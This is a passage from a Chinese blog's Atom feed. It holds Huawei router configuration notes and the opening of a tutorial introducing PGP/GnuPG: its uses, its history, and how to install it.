&lt;p&gt;当用户经常性地连续执行多个命令时，可以预先将这些命令定义为批量执行的命令行，从而简化对常用命令的输入操作，为用户提升效率&lt;&#x2F;p&gt;
&lt;p&gt;基本操作：&lt;&#x2F;p&gt;
&lt;p&gt;执行命令system-view，进入系统视图。&lt;&#x2F;p&gt;
&lt;p&gt;执行命令assistant task task-name，创建维护助手任务，最多创建5个维护助手任务。&lt;&#x2F;p&gt;
&lt;p&gt;执行命令if-match timer cron seconds minutes hours days-of-month months days-of-week [ years ]，配置在指定的时间执行维护助手任务。&lt;&#x2F;p&gt;
&lt;p&gt;执行命令perform priority batch-file filename，设置维护助手的处理动作。&lt;&#x2F;p&gt;
&lt;p&gt;首次登录进行的配置&lt;&#x2F;p&gt;
&lt;p&gt;操作步骤：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;快捷键&lt;&#x2F;th&gt;&lt;th&gt;对应命令&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;配置设备的时间与日期&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-set-time-date.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;配置系统字符集编码（可选）&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-router-charset-encoding.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;配置设备名称和管理IP地址&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-set-name-mgmt-ip.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;配置telnet用户级别和认证方式&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-telnet-auth-config.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;保存配置&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-display-saved-config.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;查询配置结果&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-display-command-usage.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Display命令的使用（查看篇）&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;查看内容&lt;&#x2F;th&gt;&lt;th&gt;执行命令&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;查看设备信息&lt;&#x2F;td&gt;&lt;td&gt;display device&lt;&#x2F;td&gt;&lt;td&gt;查看设备的部件类型和状态信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;查看设备的序列号&lt;&#x2F;td&gt;&lt;td&gt;display esn&lt;br &#x2F;&gt;display sn&lt;&#x2F;td&gt;&lt;td&gt;查看设备的序列号&lt;br &#x2F;&gt;查看设备上部件的序列号SN&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;查看电子标签&lt;&#x2F;td&gt;&lt;td&gt;display elabel&lt;br &#x2F;&gt;display elabel backplane&lt;&#x2F;td&gt;&lt;td&gt;查看设备的电子标签信息&lt;br &#x2F;&gt;查看背板的电子标签信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;查看电源和功率信息&lt;&#x2F;td&gt;&lt;td&gt;display power&lt;br &#x2F;&gt;display power system&lt;&#x2F;td&gt;&lt;td&gt;查看设备电源信息&lt;br &#x2F;&gt;查看设备系统功率和单板功率等信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;查看风扇状态&lt;&#x2F;td&gt;&lt;td&gt;display fan&lt;&#x2F;td&gt;&lt;td&gt;查看设备的风扇状态&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;查看温度信息&lt;&#x2F;td&gt;&lt;td&gt;display temperature all&lt;&#x2F;td&gt;&lt;td&gt;查看设备的温度信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;查看光模块信息&lt;&#x2F;td&gt;&lt;td&gt;display transceiver&lt;&#x2F;td&gt;&lt;td&gt;查看设备接口上的光模块信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;查看版本信息&lt;&#x2F;td&gt;&lt;td&gt;display version&lt;&#x2F;td&gt;&lt;td&gt;查看设备的版本信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;查看当前配置信息&lt;&#x2F;td&gt;&lt;td&gt;display current-configuration&lt;&#x2F;td&gt;&lt;td&gt;查看设备当前的配置信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;查看CPU占用率&lt;&#x2F;td&gt;&lt;td&gt;display cpu-usage&lt;br &#x2F;&gt;Display cpu-usage configuration&lt;&#x2F;td&gt;&lt;td&gt;查看CPU占用率的统计信息&lt;br &#x2F;&gt;查看CPU占用率的配置信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;查看内存占用率&lt;&#x2F;td&gt;&lt;td&gt;display memory-usage&lt;br &#x2F;&gt;display memory-usage threshold&lt;&#x2F;td&gt;&lt;td&gt;查看内存占用率的统计信息&lt;br &#x2F;&gt;查看内存占用率的告警阈值&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;一键采集设备信息&lt;&#x2F;td&gt;&lt;td&gt;display diagnostic-information&lt;br &#x2F;&gt;display health&lt;&#x2F;td&gt;&lt;td&gt;查看设备的诊断信息&lt;br &#x2F;&gt;查看设备的系统健康状况&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;查看接口信息&lt;&#x2F;td&gt;&lt;td&gt;display interface GigabitEthernet&lt;&#x2F;td&gt;&lt;td&gt;查看接口的详细信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;查看接口简要信息&lt;&#x2F;td&gt;&lt;td&gt;display interface brief&lt;&#x2F;td&gt;&lt;td&gt;查看接口当前运行状态信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;接口管理配置&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;基本参数&lt;&#x2F;th&gt;&lt;th&gt;命令行&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;进入接口视图&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-enter-interface-view.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;配置接口描述信息&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-interface-description.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;配置接口带宽&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-flow-statistics-interval.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;配置流量统计时间间隔&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-flow-stat-interval.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;配置开启或关闭接口&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;interface-basic-config-check.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;配置接口基本参数的检查结果&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-interface-param-check2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;以太网管理配置&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;基本参数&lt;&#x2F;th&gt;&lt;th&gt;命令行&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;配置端口组&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-port-group-config.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;配置双工模式&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-duplex-mode-config.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;配置接口速率&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-interface-speed-config.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;查询以太网接口配置&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-display-interface-config.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>2021年，用更现代的方法使用PGP</title>
        <published>2025-01-14T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/2021年-用更现代的方法使用pgp/"/>
        <id>https://vercel.juzhong.asia/obsidian/2021年-用更现代的方法使用pgp/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/2021年-用更现代的方法使用pgp/">&lt;h2 id=&quot;2021nian-yong-geng-xian-dai-de-fang-fa-shi-yong-pgp-shang&quot;&gt;2021年，用更现代的方法使用PGP（上）&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;世界上有两种密码:一种是防止你的小妹妹偷看你的文件;另一种是防止当局阅读你的文件.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  																										—— Bruce Schneier《应用密码学》
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;yi-pgpjian-jie&quot;&gt;一、PGP简介&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;shi-shen-me&quot;&gt;是什么？&lt;&#x2F;h4&gt;
&lt;p&gt;PGP 全称是 Pretty Good Privacy，是一个被设计用来加密信息，保护隐私的&lt;strong&gt;软件&lt;&#x2F;strong&gt;。现在提到“PGP”， 基本上是说 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ulyc.github.io&#x2F;2021&#x2F;01&#x2F;13&#x2F;2021%E5%B9%B4-%E7%94%A8%E6%9B%B4%E7%8E%B0%E4%BB%A3%E7%9A%84%E6%96%B9%E6%B3%95%E4%BD%BF%E7%94%A8PGP-%E4%B8%8A&#x2F;#PGP%E3%80%81OpenPGP%E3%80%81GnuPG%20%E5%92%8C%20gpg&quot;&gt;OpenPGP  标准&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;neng-gan-ma&quot;&gt;能干嘛？&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;neng-yong-lai-jia-mi-he-qian-ming-xin-xi-bing-rang-ni-xian-de-hen-geek&quot;&gt;能用来加密和签名信息  &lt;del&gt;并让你显得很Geek&lt;&#x2F;del&gt;&lt;&#x2F;h5&gt;
&lt;p&gt;记录片《&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.imdb.com&#x2F;title&#x2F;tt4044364&#x2F;&quot;&gt;第四公民&lt;&#x2F;a&gt;》中 Edward Snowden 就是使用 PGP 与女记者 Laura Poitras 之间收发邮件的，以下来自电影截图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;modern-pgp&#x2F;snowden-pgp-email-screenshot.png&quot; alt=&quot;image-20210113194002027&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;modern-pgp&#x2F;citizenfour-snowden-pgp-mail.png&quot; alt=&quot;image-20210113194014209&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;PGP能保证 一条信息是你相信的人发的，除了你俩之外别人无法解密，  而且这条消息在传送时中间没有经过任何哪怕是一个标点一个字节的修改。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;neng-yong-lai-rang-ni-de-git-commit-loggeng-jia-hao-kan-yan-zheng-git-commitershen-fen&quot;&gt;能用来&lt;del&gt;让你的Git Commit Log更加好看&lt;&#x2F;del&gt; 验证Git Commiter身份&lt;&#x2F;h5&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;modern-pgp&#x2F;git-commit-identity-spoofing.png&quot; alt=&quot;1609409350928&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Github判定提交者只是依靠Git 客户端设置的user.name 和 user.email 来判定身份，而不会去验证真实性，也就是说你可以在你的仓库提交记录中伪造任何人的提交记录。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;modern-pgp&#x2F;git-commit-gpg-verify.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;具体危害可参见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.spencerwoo.com&#x2F;2020&#x2F;08&#x2F;wait-this-is-not-my-commit&#x2F;&quot;&gt;震惊！竟然有人在 GitHub 上冒充我的身份！      &lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h5 id=&quot;neng-yong-lai-fang-zai-bo-ke-jian-jie-li-zuo-wei-shen-fen-de-xiang-zheng-zeng-jia-lian-xi-ni-de-an-quan-fang-shi&quot;&gt;能用来&lt;del&gt;放在博客简介里作为身份的象征&lt;&#x2F;del&gt; 增加联系你的安全方式&lt;&#x2F;h5&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;modern-pgp&#x2F;gpg-key-as-ssh-agent.png&quot; alt=&quot;1609410812279&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h5 id=&quot;yong-lai-dai-ti-ssh&quot;&gt;用来代替SSH&lt;&#x2F;h5&gt;
&lt;p&gt;涌有了自己pgp key之后，就可以用 gpg-agent 来代替 OpenSSH Agent来进行 SSH操作了。不过替换了之后并不会增加SSH的安全性，额， 折腾精神不死嘛。&lt;&#x2F;p&gt;
&lt;p&gt;硬要说好处的话，大概就可以更方便地使用Yubikey(一种硬件加密智能卡)来SSH。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;yong-lai&quot;&gt;用来…&lt;&#x2F;h5&gt;
&lt;p&gt;如果有其他好玩的用法，欢迎评论或邮件告诉我。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;wei-shen-me-an-quan&quot;&gt;为什么安全？&lt;&#x2F;h4&gt;
&lt;p&gt;PGP目前支持的算法&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;非对称算法: RSA, ELG, DSA, ECDH, ECDSA, EDDSA&lt;&#x2F;li&gt;
&lt;li&gt;对称算法: IDEA, 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH, CAMELLIA128, CAMELLIA192, CAMELLIA256&lt;&#x2F;li&gt;
&lt;li&gt;哈希算法: SHA1, RIPEMD160, SHA256, SHA384, SHA512, SHA224&lt;&#x2F;li&gt;
&lt;li&gt;压缩算法: Uncompressed, ZIP, ZLIB, BZIP2&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;除非量子计算机落地，目前来说2048位的RSA加密是不可破解的。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;pgp-openpgp-gnupg-he-gpg&quot;&gt;PGP、OpenPGP、GnuPG 和 gpg&lt;&#x2F;h4&gt;
&lt;p&gt;我们需要知道PGP、OpenPGP、GnuPG 和 gpg 之间的不同：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;PGP （“Pretty Good Privacy”） 是最初商业软件的名字&lt;&#x2F;li&gt;
&lt;li&gt;OpenPGP 是与最初 PGP 工具兼容的 IETF 标准&lt;&#x2F;li&gt;
&lt;li&gt;GnuPG （“Gnu Privacy Guard”）是实现了 OpenPGP 标准的自由软件&lt;&#x2F;li&gt;
&lt;li&gt;GnuPG 的命令行工具称为 “gpg”&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;OpenPGP 是在 PGP 基础上定义的开放标准，使得 PGP 技术可以由任何公司和个人实现，而不需要缴纳许可费用。&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ulyc.github.io&#x2F;2021&#x2F;01&#x2F;13&#x2F;2021%E5%B9%B4-%E7%94%A8%E6%9B%B4%E7%8E%B0%E4%BB%A3%E7%9A%84%E6%96%B9%E6%B3%95%E4%BD%BF%E7%94%A8PGP-%E4%B8%8A&#x2F;http%3A&#x2F;&#x2F;www.ietf.org&#x2F;rfc&#x2F;rfc4880.txt&quot;&gt;标准草案&lt;&#x2F;a&gt;指出 OpenPGP 提供的是数据完整性服务，赋予用户查看、检验、生成和写入加密信息、秘钥和签名的能力。 OpenPGP 通过加密、数字签名、压缩和 Radix-64 转换来实现这些功能。&lt;&#x2F;p&gt;
&lt;p&gt;GnuPG 是 OpenPGP 协议的一种完备的实现，除了按照 OpenPGP 协议提供数据加解密和签名服务之外，它还提供了完整的秘钥管理功能，并实现了协议中许多可选的加密或压缩算法。&lt;&#x2F;p&gt;
&lt;p&gt;今天，“PGP”这个词几乎被普遍用来表示开放的 OpenPGP  标准，而不是最初的商业软件，因此“PGP”和“OpenPGP”是可以互换的。&lt;&#x2F;p&gt;
&lt;p&gt;“GnuPG”和“gpg”这两个词应该仅在提及工具时使用，而不用于它们产生的输出或它们实现的  OpenPGP 功能。举例：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;PGP（而非 GnuPG 或 GPG）密钥&lt;&#x2F;li&gt;
&lt;li&gt;PGP（而非 GnuPG 或 GPG）签名&lt;&#x2F;li&gt;
&lt;li&gt;PGP（而非 GnuPG 或 GPG）公钥服务器&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;li-shi&quot;&gt;历史&lt;&#x2F;h4&gt;
&lt;p&gt;以下来自wiki:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E8%8F%B2%E5%88%A9%E6%99%AE%C2%B7%E9%BD%8A%E9%BB%98%E6%9B%BC&quot;&gt;菲利普·齐默曼&lt;&#x2F;a&gt;（Philip R. Zimmermann）在1991年创造了第一个版本的PGP，其名称“Pretty Good Privacy”的灵感来自于一个名为“Ralph’s Pretty Good Grocery”的杂货店——电台主播&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;w&#x2F;index.php?title=Garrison_Keillor&amp;amp;action=edit&amp;amp;redlink=1&quot;&gt;Garrison Keillor&lt;&#x2F;a&gt;虚构出来的一个名为&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;w&#x2F;index.php?title=Lake_Wobegon&amp;amp;action=edit&amp;amp;redlink=1&quot;&gt;Lake Wobegon&lt;&#x2F;a&gt;的城市的一个杂货店。&lt;&#x2F;p&gt;
&lt;p&gt;软件第一个版本包含一个齐默曼自己设计的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E5%AF%B9%E7%A7%B0%E5%AF%86%E9%92%A5%E7%AE%97%E6%B3%95&quot;&gt;对称密钥算法&lt;&#x2F;a&gt;，与&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E5%91%A8%E5%85%AD%E5%A4%9C%E7%8F%BE%E5%A0%B4&quot;&gt;周六夜现场&lt;&#x2F;a&gt;的一个小品&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;w&#x2F;index.php?title=BassOmatic&amp;amp;action=edit&amp;amp;redlink=1&quot;&gt;BassOmatic&lt;&#x2F;a&gt;同名。作为一个老牌的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;w&#x2F;index.php?title=%E5%8F%8D%E6%A0%B8%E8%83%BD%E6%B4%BB%E8%B7%83%E5%88%86%E5%AD%90&amp;amp;action=edit&amp;amp;redlink=1&quot;&gt;反核能活跃分子&lt;&#x2F;a&gt;，齐默曼为了让所有有相似倾向的人们可以安全的使用BBS并且安全存储消息和文件而创造了PGP加密。在非商业用途上是不需要授权的，无须任何费用，并且在所有的发行中附带了完整的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E6%BA%90%E4%BB%A3%E7%A0%81&quot;&gt;源代码&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;在2001年6月5号发表的一篇标题为”PGP 10周年” [&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;PGP#cite_note-2&quot;&gt;2]&lt;&#x2F;a&gt;的文章中，齐默曼描述了他最初开发PGP时的情景：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;1991年的某天，我把PGP的第一版发给我几个朋友，以便上传到互联网。我最先发给Allan Hoeltje，他把这个程序发到了Peacenet，一个针对草根政治组织–特别是“和平运动”–的ISP。当时全球政治活跃分子都能访问到Peacenet。然后我又把它上传给了Kelly Goen，他接着就把源码转发到了一个专门分发源代码的Usenet新闻组。基于我的请求，他把该Usenet权限改为了“仅限美国”。Kelly还把PGP传到了（美国）国内很多BBS上面。我记不太清刚开始在网上贴是6月5号还是6号。 说出来吓人，1991年的时候，我对Usenet新闻组确是知之甚少。我并不知道那个“仅限美国”的标签只是个“建议”作用，基本上对贴子的传播（范围）毫无影响。当时，我以为这个标签会控制这个帖子的传播范围。当时我不知道如何在新闻组发贴，甚至不明白新闻组究竟是什么。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;PGP在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E4%BA%92%E8%81%94%E7%BD%91&quot;&gt;互联网&lt;&#x2F;a&gt;上传播开来，并且在这个世界上获得了非常多的拥护者。PGP用户和支持者也包括在极权主义国家持不同政见的人们（一些给齐默曼的感人信件被发表了，其中一些在美国国会之前被包括到证据中）。在世界其它地方的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;w&#x2F;index.php?title=%E5%85%AC%E6%B0%91%E8%87%AA%E7%94%B1%E6%84%8F%E5%BF%97%E4%B8%BB%E4%B9%89&amp;amp;action=edit&amp;amp;redlink=1&quot;&gt;公民自由意志主义&lt;&#x2F;a&gt;支持者（参考齐默曼在各个听政会上发表的证据），以及“自由通讯”激进主义分子，他们称他们自己为&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;w&#x2F;index.php?title=%E5%8A%A0%E5%AF%86%E7%88%B1%E5%A5%BD%E8%80%85&amp;amp;action=edit&amp;amp;redlink=1&quot;&gt;加密爱好者&lt;&#x2F;a&gt;，进行宣传和分发。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;er-gpgkuai-su-kai-shi&quot;&gt;二、gpg快速开始&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;zhun-bei-gong-zuo&quot;&gt;准备工作&lt;&#x2F;h4&gt;
&lt;p&gt;建议你先参照后面教程，在随便一台机器上练习。  等熟练操作之后，再阅读  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ulyc.github.io&#x2F;2021&#x2F;01&#x2F;13&#x2F;2021%E5%B9%B4-%E7%94%A8%E6%9B%B4%E7%8E%B0%E4%BB%A3%E7%9A%84%E6%96%B9%E6%B3%95%E4%BD%BF%E7%94%A8PGP-%E4%B8%8A&#x2F;#%E4%B8%89%E3%80%81%E5%AE%89%E5%85%A8%E4%BD%BF%E7%94%A8&quot;&gt;安全使用&lt;&#x2F;a&gt; 生成你真正主要使用的PGP密钥对 ：&lt;&#x2F;p&gt;
&lt;h4 id=&quot;an-zhuang&quot;&gt;安装&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;apple-mac&quot;&gt;🍎Mac:&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;brew install gpg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;penguin-linux&quot;&gt;🐧Linux:&lt;&#x2F;h5&gt;
&lt;p&gt;各发行版一般都会默认安装GnuPG。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;checkered-flag-windows&quot;&gt;🏁Windows:&lt;&#x2F;h5&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnupg.org&#x2F;download&#x2F;&quot;&gt;下载地址&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h5 id=&quot;globe-with-meridians-openbsd&quot;&gt;🌐OpenBSD:&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;pkg_add gnupg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;sheng-cheng&quot;&gt;生成&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;sheng-cheng-zhu-mi-yao&quot;&gt;生成主密钥&lt;&#x2F;h5&gt;
